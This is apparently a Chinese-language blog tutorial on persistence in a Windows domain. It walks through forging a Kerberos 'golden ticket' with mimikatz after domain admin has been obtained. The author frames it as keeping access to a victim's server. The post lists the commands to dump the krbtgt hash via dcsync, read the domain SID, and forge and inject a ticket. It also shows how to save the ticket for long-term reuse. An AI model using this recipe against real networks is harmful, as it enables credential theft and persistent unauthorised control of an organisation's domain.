域渗透——黄金票据

黄金票据一般是对域内渗透提权之后，进行维权的一种操作。我想要上线这台服务器，对方也不能乖乖听话一直点我的木马吧，只好打一张黄金票据了，方便以后的管理操作。

首先我们通过上一篇文章已经获得了域管理员的权限。

接下来就是维权了

主要利用的是mimikatz，（个人偏向cs），主要是把过程弄清楚明白，cs的维权操作确实很方便，话不多说。

kerberos::golden 在mimikatz里看一眼要什么参数

mimikatz.exe

privilege::debug

kerberos::   看一眼参数，选择golden

上方提示缺少user参数，那我们就加上参数

接下来又分别提示了确实domain和krbtgt参数

krbtgt参数也可以通过mimikatz的lsadump模块筛选出来，话不多说，上命令就好了

lsadump::dcsync/domain:(你的域名) /user:krbtgt

把ntml值复制下来，会用到的

接下来，whoami /all看一眼sid

下面是完整的命令：

kerberos::golden /user:(任意) /domain:(想干的域名) /sid:(不附加任何权限值) /krbtgt:(mimiktz导出的ntlm) /endin:480 /renewmax:10080 /ptt

一张金票就制作好了

然后在猕猴桃里在cmd里看一眼klist，看看票据是否制作成功

猕猴桃里用kerberos::list

如果想把金票保存的话，可以用这条命令

kerberos::golden /user:(任意) /domain:(想干的域名) /sid:(不附加任何权限值) /krbtgt:(mimiktz导出的ntlm) /endin:480 /renewmax:10080 /ticket:ticket.kirbi   

 ticket.kirbi是保存的名字，保存在当前目录下

也就是这个东西，有十年的权限，好了至此，抓hash，提权，接管，维权完毕